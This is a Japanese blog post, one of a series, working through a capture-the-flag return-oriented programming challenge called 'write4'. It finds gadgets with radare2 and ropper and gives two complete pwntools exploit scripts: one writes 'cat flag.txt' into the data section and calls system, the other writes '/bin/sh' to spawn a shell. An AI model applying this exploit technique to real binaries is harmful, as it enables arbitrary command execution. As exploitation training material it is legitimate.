ROPについて勉強する ~4~
ROPについて勉強する ~4~
続き
今回の問題では呼び出したい文字列の/bin/cat flag.txt
が存在しないので、実行可能領域に書き込んでsystemをcallすればよい
解いていく
必要な要素として実行可能領域を探し、/bin/cat flag.txt
を書き込めるスペースを探さないといけない
radare2のコマンドでどのセクションに書き込めばよいかを調べる
調べてみると
書き込みの権限が与えられている(-w write)箇所がいくつかある。
今回はこの中でdataセクション(0x00601050)
を使用していくことにする。
dataセクションに書き込むために必要な命令セットはropper
というツールで調べてみる
$ ropper -f write4
入力値をメモリに保存し、それをpopしてsystemに引数として渡すため、必要な命令セットは2つある
- メモリに保存
0x0000000000400820: mov qword ptr [r14], r15; ret;
- レジスタに取り出す
0x0000000000400890: pop r14; pop r15; ret;
これらを使うことでメモリに値を保存し、レジスタに書き込むことになる
あとはお馴染みのpop ret
命令セットを使用してsystem
を呼び出せるようにする
exploit
exploitを書く
from pwn import * padding = 'A' * 40 pop_rdi_ret = 0x0000000000400893 # pop rdi ; ret address call_system = 0x00400810 # system call ddress data_section = 0x00601050 # data segment address pop_r14_r15 = 0x0000000000400890 # pop r14 ; pop r15 ; ret mov_r14_r15 = 0x0000000000400820 # mov qword ptr [r14], r15; ret; exploit = padding # Previous part divided by 8 bytes exploit += p64(pop_r14_r15) exploit += p64(data_section) exploit += 'cat flag' exploit += p64(mov_r14_r15) # The latter part divided by 8 bytes exploit += p64(pop_r14_r15) exploit += p64(data_section + 8) exploit += '.txt\x00\x00\x00\x00' # setting 8byte because qword exploit += p64(mov_r14_r15) exploit += p64(pop_rdi_ret) exploit += p64(data_section) exploit += p64(call_system) # process run elf = ELF('write4') io = process(elf.path) io.sendline(exploit) print(io.recvall())
というわけでflagが入手できた。
おまけ
任意の文字列をsystem
に渡して実行できたということで、好きなコマンドを好きな個所で実行できるようになった。
よくあるようなshellを起動する場合は上記でcat flag.txt
を挿入してる部分を以下のようにしてやればよい
from pwn import * padding = 'A' * 40 pop_rdi_ret = 0x0000000000400893 # pop rdi ; ret address call_system = 0x00400810 # system call ddress data_section = 0x00601050 # data segment address pop_r14_r15 = 0x0000000000400890 # pop r14 ; pop r15 ; ret mov_r14_r15 = 0x0000000000400820 # mov qword ptr [r14], r15; ret; exploit = padding exploit = padding exploit += p64(pop_r14_r15) exploit += p64(data_section) exploit += '/bin/sh\x00' exploit += p64(mov_r14_r15) exploit += p64(pop_rdi_ret) exploit += p64(data_section) exploit += p64(call_system) # process run elf = ELF('write4') io = process(elf.path) io.sendline(exploit) io.interactive()
感想
難しかった(小並感)
前回の記事の感想で「任意の命令セットが見つからない場合はどうしよう」と書いていたが、今回は任意の文字列が見つからない問題だった。
強くなりたい♂